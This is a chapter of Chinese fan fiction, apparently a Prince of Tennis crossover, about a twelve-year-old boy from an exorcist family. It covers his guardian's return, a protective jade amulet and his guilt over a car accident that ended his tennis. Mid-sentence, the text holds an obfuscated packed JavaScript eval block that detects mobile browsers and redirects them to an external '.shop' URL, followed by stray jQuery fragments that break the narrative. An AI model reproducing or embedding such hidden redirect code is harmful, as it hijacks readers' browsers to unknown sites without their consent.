两天就集齐跟三巨头的一面之缘对于心宿来说过于恐怖了。
索性,这样胆战心惊的日子也只持续了那两天。
将近一周的日子里,月见里心宿对于这样学习—家,家—学校的两点一线生活非常满足。
除了依旧难堪的游戏战绩和偶尔一场模糊的梦让他睡得头疼。
读书部的部长的确很宽容,允许部员们早退,几乎每天五点左右他就可以到家了。
但今天应该是不行了。
下午时,小林拉着藤原一起求到心宿这里来。
小林同学是合唱部副部长,原本定好藤原弹钢琴当伴奏,来协助社团合唱练习。但谁也没想到弓道部的比赛提前了,藤原现在每天都要加练完全腾不出时间,所以急需一个会钢琴的学生来救救合唱部。
很巧,因为之前音乐课的弹奏,她们都知道了月见里心宿很擅长钢琴。
“拜托了月见里君……!”
月见里心宿听了前因后果,很干脆地同意了小林的请求。毕竟他真的很清闲。
小时候母亲闲下来就会教他些乐器,没想到如今真能派上用场。
等到忙完这份委托,天边已经洒下绯色的印记。
穿过三三两两结伴的同学们,月见里心宿低着头,表情淡漠……却只是因为还没想好今晚吃什么。
一路上各种晚餐不停被提议又不停被否决,食材是好食材,但这每个提议他都做不好吃。最后,心宿苦着脸决定吃泡面。
他觉得这短短一周他至少瘦了三斤。
想念归香姨的手艺了。
过于沉浸在怀念中,月见里心宿并没有在意身后临近的脚步声。但那轻润的声音,猛拉他回过神来。
“晚上好,月见里君。”
月见里心宿隐约记得自己早上才庆幸自己已经许久没见过三巨头了。
显然,日子过得太顺是因为生活在后面给你埋了个大雷。
略显僵硬地对视上身侧的幸村精市,深深被记住的前后辈程序先鞠躬问好。
晚上好,我有事,再见前辈一条龙。
留幸村无奈地弯弯嘴角,目送对方离开。
他并没有从月见里身上感受到对自己的恶意,但就是散发一种很微妙的抗拒。嗯……显然不是针对他这个人,再结合一下其他事,那只能是针对他网球部的身份。
他沉思了下,网球只是一项普通的运动,没什么可怕的吧。
还是说这位后辈,有什么关于网球的特殊经历。
另一边,月见里心宿飞一般回到家,已经盘算好了吃个新口味泡面。刚打开门,他熟悉的土豆炖牛肉的香气直冲冲扑来,瞬间安抚住他疲惫的身心。
门口属于归香姨的置物架摆上了外衣。
“……”
“归香姨——!”思念自然流畅地脱口而出,让心宿下意识停住脚步。下一秒,想要说的话又开始卡壳,宛如刚刚的顺畅只是意外。
但这都不重要!
“想你…我要,饿,死,了!”
自厨房而来的脚步声,归香姨端着那碗土豆炖牛肉朝他过来,感动程度不亚于朝廷发下了赈灾粮。
月见里心宿这短短十二年的人生有十年都是归香姨照顾的。
没有人会比归香姨更清楚他的口味和喜好。
“慢点啊慢点,不够还有。”
这一晚,月见里心宿吃完满满三大碗饭才心满意足地放下碗。
——感觉活过来了。
他这段时间所有的倒霉可以一笔勾销了。
归香姨在一旁,全程抱臂瞧孩子狼吞虎咽,带着无奈。
“看来是你爷爷说得对,还不如让你早点回国呆着。”
她是位气质文雅的女性,烫卷的短发齐肩散着,喜欢颜色素净的衣服。
不过人是不可貌相的。
归香姨最大的身份其实他的贴身保镖,最强战绩是一打八全胜。
月见里心宿很清楚,归香姨此次回国,一是为了向爷爷报备他的平安,二是为了商讨家族里的事情。
“爷爷…怎么样?”他们祖孙俩已经有将近一年没见了,说不想念是假的。但老爷子不喜欢日本,而他又不想回国。
“老爷子身体很好啦,别担心。依然硬朗得可以追着你爹打。”
“不过,你爷爷嘱托我把这个转交给你。”
是一块刻着金纹的圆盘状玉牌。
话锋一转,归香姨语调也沉下些,“这个国家的魔最近很不安稳,你时刻都要带着,一定不能摘下来。”
“另外它还具备安神的作用,你不是最近老做梦。应该会有帮助。”
许久没接触过魔,乍一听人提起,月见里心宿回想起了很久之前被科普过的官方解释。
官方定义里,“魔”是一种怪物,产生原因包括情绪、灵魂体和残缺的意识。日本这边常出现的“咒灵”则约等于一种因负面情绪产生的“魔”。
但二者依然是不同的,“咒灵”是日本特有的产物。虽与因情绪产生的“魔”定义相似,内在却不同,只是口头上不会做很细致的划分。诞生于情绪的“魔”通常等级不高,不具备主动攻击性,多数是给寄宿者带去被动的正面或负面作用,例如让人变得超级倒霉,或是让人变得超级幸运。
如果能够良好地运用“正面情绪魔”,除魔师本人也会变得超级无敌幸运。没记错的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836030|211422||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,他表堂的兄弟姐妹考试之前经常会偷一只这样的“魔”。
在月见里心宿还叫江心宿的时候,家里人就没有瞒过他——江家是隶属于官方的除魔家族,还有着特殊除魔能力与算命天赋。他太爷爷、他爷爷、包括他的姑姑叔叔在内的长辈们,都是有编制的除魔师。
只有他爹,跑去打网球了。
月见里心宿在心里感慨完父亲的叛逆,玉牌也已经被归香姨在脖颈处系好。
他摩挲着隐隐散发热意的白玉上,细小到无法辨认的一行行金纹,跟着脑海中浮现起的文字念起,“太初有道,万象归真。血脉为引,正气为尊……”
手腕被握住,心宿对上归香姨琥珀色的眼睛,看清楚了那其中对他行为的诧异。他这才反应过来,这些字他是怎么认出来的。
难道他们家还有什么血脉传承……?
“…下意识,念,出来了……”
“没事。我晚上问问老爷子。”抚摸着心宿的脑袋,归香姨安抚道,“去写作业吧,要记得预习明天的功课。”
“……好。”
怎么就突然转到学习频道了…但是,嘿!他作业早就写完了,既然明天是假期,不用早起准备早午饭,那么他要——
第五人格启动!
结果刚推开门和一盆枸杞面对面的月见里心宿:?
楼下归香姨加大音量的声音清晰传来,“应该看见了吧,老爷子让你每天泡水喝。”
……他好像才12岁。他需要养生吗!他正是放肆熬夜都没事的年纪!
最终还是任劳任怨地把这盆“爷爷的关怀”搬去了窗户旁。庞大一株枸杞树,衬得窗台上小小一盆的六月雪格外小巧可爱。
目光又一转,月见里心宿抿紧唇,他看到了靠在角落的网球包。是全新的,原本被他藏在柜子最底下的。
毕竟旧的……那次车祸已经撞坏了。
他知道,这是归香姨刻意摆放的。其实他们都知道,他还是喜欢网球,还是…想打网球。
选择立海大附属中学,最大的原因是他被立海大实力强悍的网球部所吸引……车祸前,月见里心宿也的确动过加入网球部、重新打网球的念头。
但是这场惩罚一般的车祸后,他已经重新认识到,从让那颗黄绿色的小球染上血色起——他就已经没有资格再拿起球拍了。
把网球包塞回柜子最下面后,早已没有打开游戏兴趣的月见里心宿任由自己倒在床上,盯着天花板发呆。
毕竟,他如何能保证,他的网球不会再伤害到别人。
他不能,重蹈覆辙。
……
窗台上,六月雪的花瓣轻晃下,是一阵晚风经过。